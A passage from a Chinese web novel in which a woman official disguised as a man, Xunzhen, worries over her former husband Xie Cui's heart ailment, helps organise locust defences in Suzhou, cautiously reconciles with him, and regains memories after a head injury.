这样,没法聊下去了。 寻真哦了一声,一抬头,又撞上谢漼的目光。 他一直盯着她。 寻真:“你没事的话,我先走了?” 他没答。 寻真坐立难安,犹豫片刻,还是出去了。 轻轻关上了门。 寻真往自己屋子走去。快到门口时,突然想起那水盆,落谢漼房门口了。 寻真踮着脚尖,小跑回去,走到谢漼屋前,往里看了一眼,然后蹲下,小心翼翼地捧着水盆回去。 寻真擦了身,非但没有凉下来,反而更热了。 在竹席上辗转反侧。 寻真咬着唇,想起方才在檐下,谢漼的脸上全是汗,脸部的肌肉似也不受控制地颤抖着。 进了屋,等点上烛后,寻真好像看到,他的唇色隐隐泛着紫。 谢漼的心疾,恐怕比她想得更严重…… 这么想着,寻真更睡不着了,于是披衣起身,去外院将永望叫醒了。 永望听了,急忙奔向谢漼屋子。 寻真跟了过去,看着永望叩开门,走进去,便稍稍放心,回屋了。 屋里。 谢漼正坐在桌前,执着一本书。 “何事?” 永望:“甄大人叫我过来,说您方才心疾犯了。” 谢漼垂眸,定了片刻,昏黄烛火落在他脸上,睫毛下方,投下层层叠叠的阴影,像是化不开的浓墨。 谢漼:“无事,你下去吧。” 永望看着他苍白的脸色,怎么看都不像是没事的样子。 永望:“爷,可要按先前的方子,去煎了药来?” 谢漼:“不必。” 谢漼摆了摆手,永望便退下了。 永望离开时,又往寻真的屋子看了一眼。 叹了口气,转身消失在夜色中。 翌日,寻真便去水车群施工现场督工。 水车群试点成功,便开始大面积铺开了。最近天越来越热,雨量也很少,寻真想起谢漼之前观测的天象预言。 难道真被他说中? 不过,将水利设施建设完善了,至少能在一定程度上抵御旱情。 烈日当空,寻真见民夫们挖土、运石,个个被晒得面红耳赤、汗流浃背,当即调整了施工进度表,延长工人们的休息时间,还特意安排人做冰镇酸梅汤,免费发放。 中午回官舍,用完饭,寻真去找谢璋。 寻真环顾四周,确认无人后,关上门,朝谢璋招了招手,两人一前一后进了里屋。 谢璋见她神 色凝重的样子,脸上的表情也严肃起来。 寻真压低声音:“小恒,我想问你几个问题,你愿意如实告诉我吗?” 谢璋:“娘问吧。” 寻真:“你先答应我,只要是你知道的,都会跟我说。” 谢璋没有犹豫,认真地点头:“嗯!” 寻真:“你爹的心疾……是什么时候得的?” 谢璋抿紧了唇。 寻真:“小恒!你刚才可是答应我了!” 谢璋思索片刻,爹的确没有说过这件事不能告诉娘,于是嗫嗫嚅嚅道:“爹的心疾,是娘……”说着,又觉得不对,摇摇头,“是假的那个……” 谢璋皱眉想了一会,终于找到合适的说法,小声道:“……是我五岁生辰那会儿得的。” 寻真怔怔的。谢璋瞅着她的脸色,还以为自己说错话了,忐忑不安,紧张唤了一声:“娘……” 寻真又问:“那……你爹的心疾,是不是很严重?” 谢璋又想了会,摇了摇头。 寻真:“不严重?” 谢璋:“嗯,不严重的……爹每年也只有这几日会喝药,等到了八月,天凉快了,便没事了。” 寻真想起昨日,谢漼的唇都隐隐泛紫了,怎可能不严重? 不过想想也是,谢漼怎会在谢璋面前显露病态,让这么小的孩子跟着担心呢,定会遮掩几分病情的。 谢璋:“娘,你就放心吧,爹没事的。” 寻真揉揉他的头:“嗯。” 谢璋:“娘,你还有别的想知道吗?” 寻真摇摇头,刚要起身离开,脑海里突然闪过另一个问题。 其实,这个问题的答案,可以根据现状猜出来。 但…… 谢璋:“娘?” 寻真再度坐下,望着谢璋明亮清澈的大眼睛,话到嘴边又有些难以启齿。 但还是问出来了:“那个,小恒……” “你……” “有没有后娘?” 第135章 第135章“秘密” 谢璋:“什么后娘?” 寻真向他解释了“后娘”的意思,谢璋登时睁圆了眼睛,胸膛起伏着,大声道:“绝对没有的!” 寻真:“好,我知道了。” “小恒,你答应我,我今日问你的这些,你不能告诉任何人,连你爹也不能说。” 因为寻真问这个,谢璋还有点生气,气鼓鼓地嘟着嘴,腮帮子鼓得老高。 寻真瞧着可爱,搓了搓他的脸蛋:“好不好?小恒?” 谢璋唔了一声,脸颊变得粉粉的。 寻真出去,门一开,抬眸见谢漼立在檐下。 寻真顿时有些心虚,没敢跟谢漼对视,什么也没说,低着头“嗖”地就跑。 谢漼望着她消失的方向,袖中指尖微蜷,踱进屋里,见谢璋也一副虚心样,眼珠子到处乱转,偏不肯与他对视。 谢漼在他旁边坐下:“方才,你娘来找你说了什么?” 谢璋:“说了几句话。” 谢漼:“都说了什么?” 谢璋嘴巴闭紧,一言不发,既答应娘了,就要守诺。 谢漼问不出来,也不再追问。 是日,寻真正在施工现场忙碌,一名小吏匆匆赶来禀报,称使君有急事相召。 寻真撂下手头事,赶回去,到那儿一瞧,同来吴县公干的官员全到齐了,她是最后一个到的。 谢漼神色有几分凝重,说信使来报,汴州、豫州等地出现蝗情,目前局势尚未明朗。苏州府虽与汴州等地隔得远,但若灾情失控,蝗虫极有可能迅速蔓延过来。 因此,必须即刻启动预防措施。 随后,谢漼下达了三道命令: 其一,遣若干吏员沿州界设哨,昼夜侦伺蝗群动向。 其二,加固城垣,于农田周遭编扎荆篱,严堵虫患入路。 其三,传谕里正,劝农改种虫厌之作物,断其粮道。 安排完众人职责后,谢漼愈发忙碌了。 此后每隔两日,谢漼便会召集众人开一次会,统筹协调各项事务,力求以最快速度完成防灾部署。 寻真与谢漼也只有在开会时,才能短暂碰一面。 除了督建水车群,寻真还组建了一支人力捕蝗队,招募当地青壮年,对他们进行捕蝗技能培训。 寻真与农师们讨论后,整理出一份册子,上面详细记录了蝗虫的天敌,如青蛙、螳螂、粉红椋鸟等。 寻真:“这里都是克蝗虫的天敌,若提前令专人豢养,等蝗虫来了,便可放到田间,以虫制虫了。” “蛙与蟾蜍,耐活易养,可先行着人试养。” 谢漼听完,当即给她批下人手和资金,让她去办。 谢漼:“十日后,等此地事了,便动身去长洲。” 寻真:“好。” 人力补蝗队、青蛙养殖场、筑城墙、设篱笆,再加上监测预警系统,各项防蝗措施逐步落实到位后,刺史巡查队便离开了吴县,马不停蹄启程前往长洲。 出发前夜,寻真叩响了谢漼书房的门。 谢漼:“进。” 谢漼正伏案写公文,向朝廷呈报本州蝗情预防的详细举措。 烛光在他身上,晕染出一层朦胧的光晕。 寻真看着谢漼。 自从知道谢漼有心疾,寻真怎么看,都觉得他虚弱极了,好似下一瞬便要栽倒在地了。 寻真迟迟不吭声,谢漼抬起头来,问道:“还有何事?” 寻真纠结了几天,还是开口了:“使君还是要多保重身体,莫要太过操劳了。这般连日奔波,路途颠簸,对您的……病不利。” “有些事务,不妨交予他人操办,您在州城居中调度即可。” 谢漼:“无妨,我心中有数。” 寻真跟着谢漼辗转多县,直接将吴县的防蝗模式复制一遍,进展颇为顺利。 临近年底,他们抵达了最后一站——昆山县。 踏入昆山县,寻真有一种回家的感觉,看着熟悉的街巷,心中满是亲切。 潘竞早已在城门口等着,见到二人,满脸喜色:“缮之!竞舟!可算把你们盼来了!” “竞舟,本想写信告知你喜讯,又恐你忙于蝗事无暇,干脆等你来了再说!” 昆山县在潘竞治下,闻蝗情通报,立马就行动起来,防护举措迅速施行,是所有县中最快响应的。 寻真:“什么喜讯?” 潘竞拉着寻真和谢漼去粮仓,抓起一把稻粒,给二人展示:“竞舟,你这稻,可了不得!” “农师用了你留下的稻种,比你去年收的还多!” “更有一桩奇事——” 潘竞故意压低声音,卖起关子。 寻真:“什么奇事?” 潘竞:“你走之后,你那块地周边闹虫灾,便顾不上那地,哪成想,到最后反而是这块没人管的地,受害最轻!” 寻真眼睛一亮:“真的?” 潘竞:“自然!农师按你法子种的稻,皆丰收了!” “我想着,明年就把这些稻种分给百姓,再搭配着种些 芋头、红薯。即便你这稻抗不了蝗,也能保得几分收成。” 听了潘竞的话,寻真一整天都心情大好。 当晚,她去见甄凌。二人已半年未见,甄凌一见她,眼眶瞬间湿润,拉着她絮叨个不停。 寻真:“小蝶在吗?” 甄凌摇了摇头:“回娘家了。”说到这个,甄凌又问,“他……可是与你一道来了?” 寻真点了点头。 甄凌:“小恒呢?” 寻真:“也在。” 甄凌又问:“那今年,小恒会与我们一道过年吗?” 寻真神色微滞,去年岁除,她对他说“再无关系”。 这整整一年,她与谢漼始终保持着上下级的距离。 寻真:“……看情况吧。” 谢漼和谢璋住在官舍。 春节放假前一日,寻真向谢漼汇报工作。 结束后,陷入短暂的沉默。 寻真偷偷打量谢漼,正如谢璋所说,七月过后,天气转凉,谢漼的心疾好像是没发作过了,气色也比那时候好了很多。 谢漼:“还有何事?” 寻真摇了摇头,将舌尖打转的话吞了下去,转身离去。 谢漼看着她的背影,终究没开口。 回州城那天,谢璋见寻真不在,死活不肯上马车。 站在马车前,谢璋与谢漼僵持着。 谢漼将谢璋拉到房里:“恒哥儿若不想跟我回去,我便送你去你娘那里。” “你是想去你娘那儿,还是跟我回州城?” 谢璋陷入两难,实在选不出来,急得眼眶发红:“为何我一定要选一个?” “去年,我们不是一起过节的吗?” “为何今年要分开?” 谢漼默了片刻,平静地道:“并非要你做选择。是爹在州城还有公务,必须尽快返程。若恒哥儿想留在娘身边,我一会便派人送你去她那里。等过了节,再接你回去,如何?” 谢璋此刻,终于意识到事情的严重性了。 娘和爹,与寻常的夫妇不同,他们不同居一处。如今娘是男子,在外人眼中,二人自然是毫无关联的两户人家。可明面上不能在一起,为何私下不能偷偷相聚呢?反正旁人都不知道。 谢璋终于明白——是爹不得娘的欢心。 转瞬间,谢璋想通了关键,对谢漼道:“爹,要不我替你去求娘,让你也留下来?” “不用。”谢漼点点他的脑袋,“恒哥儿莫要乱想,爹真的有事。” 谢璋思索片刻,小声道:“爹,我想告诉你娘的一个秘密。” 谢漼:“……嗯?” 谢璋凑近谢漼耳边,用气声道:“其实,娘是很关心你的……” 谢漼:“你如何得知?” 谢璋:“别的我就不能说了,我答应了娘的。” 谢漼垂眸凝思,谢璋忍不住屏息,在一旁等着,约莫一盏茶功夫,谢漼忽而抬眼,看着谢璋道:“恒哥儿,走。” 谢璋:“去哪儿?” 谢漼:“去你娘那儿。” 谢璋开心地蹦了起来。 马车很快驶到寻真的小院门口。 寻真正与甄凌在厨房包饺子,听到敲门声,寻真跑去开门。 门一开,看见谢漼谢璋二人。 谢璋眼睛弯成了月牙,冲着寻真用力挥了挥手。 寻真将二人迎进院,给谢漼泡了壶茶。 谢漼望着她斟茶的手,开口道:“近日舟车劳顿,身子有些不适,不便远行。” “不知能否在你这里借住几日,过完节再走? 寻真手一抖,茶水险些溢出,脱口问道:“你心疾又犯了?不是说天凉后就没事了吗?” 谢漼:“这是恒哥儿与你说的?” 寻真:“……嗯。” 谢漼:“在他跟前,少不得要遮掩几分。” “此疾每发于炎夏,亦是实情。” “此番连日乘车赶路,确实有些疲惫,休息几日便好。” 寻真微微蹙着眉:“好,我这就去收拾房间,你和恒哥儿还住之前那两间。” 谢漼颔首。 谢璋躲在角落偷偷观察,见寻真转身进了厨房,立刻小跑着凑到谢漼身边,贴着他耳朵,小声道:“爹,我说的没错吧。” 谢漼轻啜一口茶,低声问:“那日,你和你娘都聊了什么?能否告诉爹?” 谢璋嘴巴很严:“不行!我答应了娘的,不能说。” 谢漼:“恒哥儿若肯相告,往后每年岁除,都无须你从我与你娘之间选一个了。” “恒哥儿难道不想我与你娘重归于好?” “如今唯有知晓你娘心思,方能设法弥补。” 谢璋听了谢漼这话,实在心动,但是…… 谢璋:“不行,我答应了娘的。怎能失信?” “而且我已经帮你这么多了……爹就不能自己多努努力吗?” 谢璋见寻真过来,忙又跑开了。 寻真走到谢漼面前,道:“我打算去街上采买些年货,你把平日煎药的方子给我,我顺路抓些药回来备着。” 第136章 第136章“考虑” 谢漼颔首,道:“好,我写与你。” 寻真从书房取了纸、笔,到石桌前,纸铺开,磨墨,将笔搁在他面前。 谢漼执笔悬腕,须臾间写就三方,道:“各买三帖即可。” 寻真的眸光扫过纸面,问道:“为何有三个药方?” 谢漼便向她解释道:“病症有别,用药自然不同。” 指尖点第一个药方:“这一方,以附子、干姜为主,辅以吴茱萸、细辛,可回阳救逆、散寒止痛,专克急症,能迅速温通心阳、开窍通闭。” 谢漼又分别指另外两方,道:“此帖用以调和气血、安神定志,宜于晚睡前服用。” “这方能温通脏腑,驱散寒凝,专治寒邪闭阻之症。” 寻真不太懂,就哦了一声,将药方收进布袋。 寻真买了些果干肉脯之类的干货,便去药铺抓药,按谢漼说的,各买了三帖。出药铺时,见一旁坐堂郎中前已排起长队,有十几人。寻真攥着药方,加入了队伍。 小半个时辰后轮到寻真,老郎中接过药方,神色陡然凝重,抬眼打量寻真,见她脸颊红润,双眸明亮,问道:“这药,应不是郎君自用吧?” 寻真想了想,道:“此药是为家中尊长所备。大夫,您给瞧瞧,这三个方子,所医何症?” 老郎中皱眉,道:“这头一方,配伍奇异,老夫生平未见。敢问此药出自何方医家?” 寻真答:“……是位游医所开。” 老郎中神色凝重,问道:“敢问令尊长目下可还神识清明?” 寻真疑惑道:“为何有此一问?” 老郎中道:“此乃大辛大热虎狼之药,应是治心阳暴脱的急症,凶猛得很,妄用必伤根本!若非性命垂危,万不可用!” 寻真惶惶然,又指着下方,问道:“那这两个方子呢?” 老郎中道:“一方补心安神,一方行气止痛。” “余下两方虽稍温和些,可这般大的剂量,若长期服用,亦会耗损正气,切记慎用!” 寻真进院时,已调整好了自己的表情。 谢漼和谢璋正在石桌前对弈。 寻真提着药包走近,对谢漼说:“我将药放厨房了,你需要时,与我说一声就成。” 谢漼掀眸看她:“嗯。” 寻真走进了正房。 谢璋专注在棋局上,思索着接下来的布局。谢漼迟迟不落子,谢璋抬眼望去,见谢漼看着他身后,谢璋转过身,朝后看了一眼,正房门口空空如也。 谢璋问:“爹,你在看什么?” 谢漼摇摇头,垂眼,落子。 谢璋看着谢漼下的位置,疑惑了一下,捏着白子,迟疑片刻,还是开口问:“爹,你是不是下错了?” 谢漼定眼一看,还真是。 谢璋道:“爹,要不你重新下这一子吧?” 谢漼正色道:“落子无悔。恒哥儿继续罢。” 谢璋道:“哦。” 十步之后,谢璋便赢了。 谢璋与谢漼下棋,十有九输,偶尔赢那么几回,还是在谢漼让了几子的前提下,这下,终于真正赢了谢漼一次,不知道有多高兴。 谢璋整个人都从石凳上蹦起来,满脸写着喜色。 谢漼看着谢璋,唇边浮现淡淡的笑。 真是与他娘,一模一样。 夜里,老郎中的话在寻真耳畔反复回荡着。 怎么也睡不着了。 那第一张药方,是救急保命之药,非危在旦夕,万不可轻易服用。 老郎中千叮万嘱,叫她切莫乱用第一张药方,不然定会损伤身子,落下病根。 寻真摸着黑,迅速穿好衣服,出了房门,只有东厢房还亮着。 这么晚了,谢漼还没睡? 寻真本想在院子里坐坐,透口气,见那房亮着,脚不受控制地朝那处走去。 寻真的手在门前悬了许久,终是轻轻叩响。 这夜没风,寒气却跟长了眼睛似的,专往骨头缝里钻。寻真打了个寒颤,听见屋内脚步声由远及近,心蓦地紧了紧。 门开了,谢漼立在眼前。 寻真呵出的白气在空中凝成薄雾。 她问:“我能进去吗?” 谢漼微微颔首,侧身 让她入内。 寻真走进东厢房。 这里虽是她的地盘,但谢漼在这儿,总感觉四周的物件都染上了他的气息,令她莫名局促。 案上摊开着一本书,旁边的烛默默吐着焰,那火苗偶尔被穿堂风撩得一抖,烛泪堆得老高。 寻真坐下后,一时语塞。 谢漼亦不言语,静静等着。 寻真垂眼,望着烛台上凝固的蜡痕,轻声道:“今日我去抓药,问了郎中,他说你这药……”寻真顿了下,抬眼与谢漼对视,“你这药是虎狼之药,若非性命垂危,万不可用。” “你的心疾,这般严重么?” 谢漼凝视着她,烛火在他眸中碎成点点金芒,宛如揉碎了星河。 他道:“预先备下,不过是以防不测罢了。” 室内燃着炭,为防炭气,窗留了道小缝。丝丝寒气渗入,寻真注意到,谢漼的鼻尖发红了。 寻真打量着谢漼。 现在的他,身上萦绕着若有似无的病弱之气,在烛光的映照下,那对眸子似笼着层水雾,朦胧中透着柔光,教人看不真切。 寻真想看得更清晰些,于是起身,走到谢漼面前。 寻真站着,谢漼坐着。 两人只隔半步的距离。 谢漼仰起头来看她。 这双桃花眼泛着盈盈水光,湿湿的。 寻真俯视着谢漼,几乎觉得面前这人不像她认识的谢漼了。 完全变了个人似的。 怎么变得这么可怜了…… 寻真有些控制不住自己,伸出手,抚上他的脸。 “谢漼……” 他轻轻地应了一声,一眨不眨地看着她,没有动。 寻真抚了一下他的脸,问:“谢漼,你的病……” “是因为我吗?” 谢漼缓缓伸出手,环住她的腰,然后收紧,轻轻一拉。 寻真就这样跌进他怀里,坐他膝上。 谢漼试探性地,将手臂越圈越紧,声音喑哑:“……你说呢。” 寻真按住了谢漼胸膛左边的位置,感受着里面的震动。 谢漼的目光落在她的唇上,在她后背的大掌缓缓上移,覆上她后脑,轻轻摩挲,然后往前一按,唇跟着靠近。 寻真却突然偏头。 谢漼的唇擦过她的嘴角,只贴了一下她的脸颊,一触即离。 空气有一瞬的僵滞。 谢漼喉头滚了滚,吞咽了一下,嗓音发涩。 “我们……能否重新开始?” 寻真:“怎么重新开始?” 谢漼:“你若不愿恢复女儿身,便继续以男子身份在官场行走。” “在外人面前,你我唯有官阶之别。” “私下,还如从前一般相处,如何?” 寻真没说话,谢漼又补充道:“你放心,你的事,我定会帮你守好。若有泄露,我这官也不必做了。” 寻真默不作声。 谢漼紧盯着她,轻唤:“……真儿。” 寻真:“嗯。” 谢漼缓缓抚着她的腰,道:“你若有顾虑,说与我听,可好?” 沉默良久。 寻真抿了下唇,看向谢漼:“我考虑一下。” 谢漼的手臂骤然收紧。 寒风从窗缝钻进来,拂过面庞,寻真的脑子清醒了几分,突然想到一点。 郎中都说了,是救命药,不到危急时刻绝不能用,谢漼却让她买了三副。 寻真盯着谢漼,问道:“你写的第一个药方,不是你现在服用的,对吗?” 谢漼神色一僵,很快恢复。 “真儿聪慧。” 寻真瞪他:“你骗我?”说着就要起身,去摘谢漼箍在腰间的手。 谢漼却将她搂得更紧,水蒙蒙的眸子望着她,声音低沉:“没骗你。” “我确实服过那药……在七年前。” 寻真一怔。 谢漼抓起她的手,按在自己心口,直勾勾盯着她。 温度透过衣料传来。 寻真垂下眼,问:“那另外两个药方呢?” “郎中说吃久了,会耗损正气。” 谢漼道:“我平日偶尔服用,次数不多。” 寻真点点头,覆上他的手,示意他松开。 “你的提议,我会考虑的。” 谢漼却纹丝不动,怕自己这一松,便再没机会抱她了。 寻真:“你先放开我。” 谢漼:“你还未告诉我,在顾虑什么。” “你想要的,我定当全力做到。” 寻真默了默:“……有些事,你办不到。” 谢漼:“你不说,又怎知我做不到?” 寻真:“你先放开我。” 谢漼不动。 寻真:“谢漼!” 谢漼凝视着寻真。 她这般微微嗔怒,瞪着眼瞧他,煞是好看。 许久未曾见到了…… 寻真:“我提什么,你都会答应?” 谢漼没提任何附加条件,只沉沉应了一声。 寻真:“嗯,我会好好想的。现在可以放开我了吧?” 谢漼:“你要想几日?” 寻真抬眸,五根手指在他眼前晃了晃,道:“五个月。” 次日,晨间用饭,谢璋左瞧瞧谢漼,右看看寻真,总觉得两人之间的气氛比昨日不同了,怪怪的,却说不出到底哪里不同。 午后,阳光正好。 寻真窝在躺椅上晒太阳,手持一本新淘来的侠客传,一旁小几上摆着瓜子果干。 不远处,谢漼和谢璋在石桌前对弈。 谢漼瞥了眼旁边,指尖一松,黑子随意一落。 谢璋惊道:“爹!你又下错了!” 谢漼:“没下错。” 谢璋:“爹是不是故意下错让我了?” …… 一刻后,谢璋输了,腾地起身,气呼呼地,跑到寻真那边告状:“娘,爹方才下棋故意走错,却又赢了,这般戏耍我,太过分了!” 第137章 第137章“撞到” 寻真掐了掐谢璋的脸颊,转头望去,见谢漼眉眼带笑。 竟然是真的故意耍谢璋。 廿九,入了夜,天空飘起零星雪粒,须臾间,化作鹅毛大雪,纷纷扬扬洒落,万籁俱寂中,寻真躺在床上,只听得雪扑打窗棂的沙沙声。寻真到窗边看了一眼,风挟着雪迎面而来。檐下已积了薄薄一层雪。 来苏州这些年,还没见过这么大的雪。 到明天,或许能打雪仗、堆雪人了吧。 听着雪落的声音,寻真心里分外宁静,怀着对明天的期待,很快沉入睡眠。 醒来,寻真推开门,门前积雪顺势往里塌落,往外一看。 天地一白,银装素裹。 竹篱笆都被雪埋得只剩了半截。院子里有好几串脚印,脚印深浅不一,有大有小,寻真辨认了一下,他们三人应该都醒了。 循着炖肉的香气,寻真走向厨房。 新雪松软,咯吱一声,踩感特别好。 寻真在庭院里踩起雪来,蹦蹦跳跳着,把地上干净的雪都霍霍完了,又跑到篱笆边,从树枝上捏了一小团雪。 忽然感觉有人注视着自己,寻真抬眼,谢漼立在窗前,在雪景的映衬下,衬得他面容分外清俊。 见她看来,目光分毫未躲。 寻真率先避开,捏着那一小团雪球,走进了厨房。 泥炉上陶瓮咕嘟作响,肉块裹着葱姜在沸汤中翻滚,肉香混着白雾弥漫开来。 寻真掀开蒸笼,拿了个馒头,搬了把小竹椅,在厨房门口吃着。 谢璋从后院出来,头上肩上落着雪,看见寻真,眼一亮,朝她奔来,嘴里不住呼着热气,胸膛一起一伏着。 “娘!” 寻真掸去他头上的雪粒,看着谢璋纯净天真的笑容,不禁有些出神。 在她印象中,小时候的谢璋,不笑时那模样与谢漼极为相似。 可越长大,反而越不像了。 而且,谢璋十二岁了,虽然在寻真心里,这个年纪还是很小的。 但在这里,再过几年便要成家了。 谢漼是怎么把他带成这个样子的? 倒是有点奇怪。 寻真问:“小恒,你干嘛去了?” 谢璋道:“娘,你跟我来。” 谢璋的手红彤彤,发着热,拉着她往后院走。 后院角落,有一个半人高的雪人,正是寻真送他项链上奥特曼的模样,几乎一模一样。 寻真惊讶问道:“小恒,这是你一个人做的?” 谢璋:“嗯,我做了好久呢。” 寻真鼓鼓掌:“厉害!” 谢璋这艺术天分也遗传了谢漼。 寻真看着奥特曼雪人,可惜不能拍照留念,做得这么完美,雪一融,就没了。 被寻真夸,谢璋很不好意思,挠挠头,耳尖泛红。 午后,寻真拉着谢璋在庭院里打雪仗,两人身上都挂满了雪。 中场休息,谢璋看向窗前的谢漼,喊道:“爹,你要不要一起?” 寻真立马道:“小恒,你忘了,你爹身体不好,不能跑动的,我们俩玩就好。” “是我想的不周到……”谢璋神色严肃了,转头,对谢漼说,“爹,别在窗边呆着了,当心受风着凉!” 见谢漼不听,谢璋跑进屋,帮他把窗户关得严严实实。 谢漼弯下腰,捏住他的脸,扯了扯。 谢璋唔了一声:“爹,你干什么 ……” 过完年,寻真与谢漼谢璋一同返回州城。 州衙当值,寻真还是跟先前一样,与谢漼公事公办,可私下只有两人之时,总能感受到谢漼灼灼的目光。 一日晚,寻真禀完公务正要退下。 却被谢漼叫住,他声音沉沉:“竞舟可记得你我约定之事?” 寻真:“自然记得。五月之后便给你答复。” 谢漼望着她的背影,心中长叹。 从前,只求她平安,活着便好。 如今却奢望更多。 盼她能似从前那般相待。 是贪念作祟。 人生在世,岂有求而必得之理? 若她不肯回头,他亦不再强求,能这般看着她。 护她一世周全,足矣。 这样想着,谢漼的心便安宁了。 春耕过后,汴州、豫州等地急报,蝗情已失控。 蝗群乘风南下,宛如黑云压城,气势汹汹。所过之处,田间青苗转瞬便被吞噬殆尽。情势危急。 谢漼早已在州界设哨。这天,探马飞驰来报:蝗群已至三十里开外! 整个州城的官吏们纷纷投身于抗蝗事务。按蝗群的行进路线,吴县最先被侵袭,寻真和谢漼已提前赶到。 尽管官府早有预警,百姓们仍被惊得惶惶不安。去年官府令改种作物,少部分人抱有侥幸心理,总觉得蝗虫远在天边,轮不到自家,不愿听从。 如今蝗群骤然压境,那些固执己见的农户悔不当初,夜夜睡不好觉,只恨未听官府的劝告。 寻真本没将蝗虫视作大敌,心想,不就是虫子嘛。 却没料到古代的蝗虫这么可怕。 蝗虫成群聚集,密密麻麻排列,个体之间几乎没有间隙,就像一片会蠕动的巨大地毯。 寻真站在城墙上,远远望见,浑身泛起鸡皮疙瘩。 在官府指挥下,百姓们在城外空地挖坑,先前训练好的捕蝗队即刻出动,青壮年们手持网兜,驱赶、围捕、填埋。与此同时,大批人工养殖的青蛙和蟾蜍也被投放到田里。 尽管做了周密准备,但蝗虫数量实在太多,很快便侵入城中。 顷刻间,城楼檐角、酒肆旗幡都黏上一只只褐色虫子。 寻真每次出门都将自己裹得严严实实、密不透风。 外罩粗麻防虫衣,领口扎紧,脖子缠上布条,袖口用绳子系紧,以防虫子钻入。头发也用头巾包好,只露出一双眼睛。 寻真知道自己这身装扮很奇怪,但没办法,那虫子实在太恶心了。 她上辈子、这辈子从未见过那么多虫! 出了官舍,寻真便带着捕蝗队去田间,途中遇见范岂。 因事态紧急,几乎所有官员都随谢漼来了,只留别驾在州城坐镇。范岂刚在城外处理完捕获的蝗虫。 范岂看见她,定了定,数秒后,他疑惑唤道:“竞舟?” 寻真的声音从面罩中闷闷传出:“是我。” 范岂向一旁的小吏吩咐几句,让他回去复命,然后与寻真一同前行。 范岂问道:“竞舟为何这般装扮?” 寻真正要开口,见一只蝗虫直直飞来,竟直接飞进了范岂的袖子! 寻真浑身汗毛都竖起来,拍了拍范岂,指着他袖子,颤着声道:“怀逸,虫,虫……” 范岂眉头一皱,似乎也察觉到了虫子在他袖里作乱,一点都不慌,神色镇定地撩起袖子,那蝗虫正叮在他手臂上。范岂捏住,往地下一掷,然后重重一脚。 寻真看着这一幕,满脸佩服地看向范岂。 狠人!狠人呐! 范岂看着寻真,眼中掠过一丝笑意。 心道,与竞舟共事久了,日日见她身着男装,自己都差点忘了。 她是个姑娘呢…… 见寻真眼神警惕地扫视四周,范岂温声道:“竞舟,若再见到蝗虫,唤我便是。” 寻真:“行!” 田间一片混乱。寻真和范岂指挥众人捕蝗,在田间地头挖坑焚烧。一处清理完毕,又马不停蹄赶往下一处。连喝口水的工夫都没有。 日头西斜,终于能歇口气。 寻真走到树边,拎起地上的布袋,还未拿稳,余光瞥见一抹褐色。 寻真头皮一麻。 十几只蝗虫从布袋里钻出,冲着她的脸飞来。 寻真转身,拔腿就跑,却冷不防撞上身后之人,来不及收势,往后栽倒。 后脑不知撞到何物,一阵痛,眼前一黑,便失去了知觉。 范岂伸手不及,焦急地冲上前,抱住寻真:“竞舟,竞舟!” 摸到她后脑黏腻,范岂心中一紧,抬手一看,是血。 永望冲进房间,对谢漼喊道:“爷!甄大人晕倒了!” 谢漼猛地起身,绕过案几,沉声道:“怎么回事?” 永望领着路,两人一前一后,疾步走在廊间。 永望小声道:“是范大人与我说的,说甄大人在田间晕倒,后脑撞到了石头。” 谢漼到时,见范岂守在床前,神色忧虑地望着床上。 寻真躺在床上,身上沾满草屑,浑身裹得严实,只留出一双眼睛。 那眼睛紧闭着。 谢漼见到这一幕,心骤然刺痛,针扎一般。 范岂听到动静,起身行礼:“使君。” “竞舟适才不慎失足,后脑触石见血。早闻使君通岐黄之术,便先请您来了。” 谢漼:“除了后脑,可还有其他伤处?” 范岂:“并无。” 谢漼:“好。” 谢漼走进去,范岂便从里面出来,二人擦身而过。 范岂走到门口,又回头看了一眼,关上了门。 谢漼在床边坐下,除去她脸上的面罩,仔细查看后脑,见一处微微肿起,发间还沾着血迹。 接着他翻开眼皮、查看口腔,最后切脉诊断。 诊完后,松了口气。 寻真 感觉自己睡了很久很久,意识朦胧间,听到有人轻声呼唤,含糊应了一声。 那人将自己抱起来。 声音温柔:“真儿,张嘴。” 寻真倚在那人怀中,是让人感觉安心的气息,顺从地张开嘴,温热苦涩的药汁缓缓流入喉。 寻真喝了药,又沉沉睡去。 再次睁眼,寻真对上一双疲惫的眼睛。 是谢漼。 寻真正要说话,脑袋里却凭空窜入一段记忆。 第138章 第138章“信息量太大!” 谢漼:“你感觉如何?” 寻真满脸怀疑人生,茫茫然。 谢漼抬手,探向寻真额头。寻真下意识偏头避开了。谢漼的手滞在半空。 停了数秒,他收回了手。 “可还有哪里不适?”他又问。 寻真摇了摇头。 门被敲响,谢漼起身,朝门口走去,寻真看着谢漼的背影,脑海里的画面一茬一茬地冒出来。 寻真的瞳孔猛地收缩,眼睛越瞪越大。 这、这……这是什么?! “你睡了一天一夜。”谢漼端着药碗返回,递到她面前,“你脑后受创,瘀血停阻,这几日,应会有头晕、神疲之症。当于室中静养,不能吹风,待得气血周流复常,才可出门。” 寻真哦了一声,接过药碗,一饮而尽,因喝得太急呛到了,一时咳声连连,险些将药碗打翻。 谢漼伸出手,又想到方才她偏头躲他的触碰,一顿,最后只拿过她手中的碗。 寻真的咳嗽渐渐停下,脸颊泛起绯红。 垂眸盯着被子上的花纹,纷乱的记忆在脑中不断翻涌。 信息量太大了。 室内静了许久。 “你好好歇着,若有事,差人唤我。” 寻真沉浸在庞杂的记忆中,谢漼一出声,仿佛才意识到旁边有人似的,转过头,对上谢漼的目光,迟钝地应了一声。 谢漼出去了。 寻真的脑子高速运转起来,飞速梳理着脑海中涌入的那一堆记忆,排列组合,试图理清时间线。 不知过了多久。 寻真终于理清了。 只感觉自己站在了全新的视角,重新认识了这个世界。 寻真呆茫地看着床顶的帐幔。 原来,她是胎穿。 叩门声持续了许久,迟迟得不到回应,来人便轻轻推开房门,蹑手蹑脚走进来。 走近了,谢璋见寻真双目空洞地望着帐顶,顿时急得眼眶发红,带着哭腔唤道:“娘,你怎么了?”谢漼先前吩咐人瞒着谢璋。直到寻真醒了,才告诉谢璋她晕倒的事。 寻真扭头看向谢璋,伸出手,揉了揉他柔软的发顶。 原来,谢璋真的是她的孩子。 谢璋眼中泛起晶莹,对上寻真的眼睛,不知怎的,心中涌出一股莫名的委屈,酸酸涩涩的,将整个心都淹没了。 寻真抬头,用指腹轻轻擦去他眼下湿润。 “我没事。”寻真摸了摸谢璋的脸,“别担心。” 谢璋的脸贴着她掌心,像只新生的幼兽,蹭了蹭。 紧咬牙根,可泪还是止不住,簌簌滚落。 寻真坐起来,捧住谢璋的脸,用袖子擦泪:“别哭,别哭……” 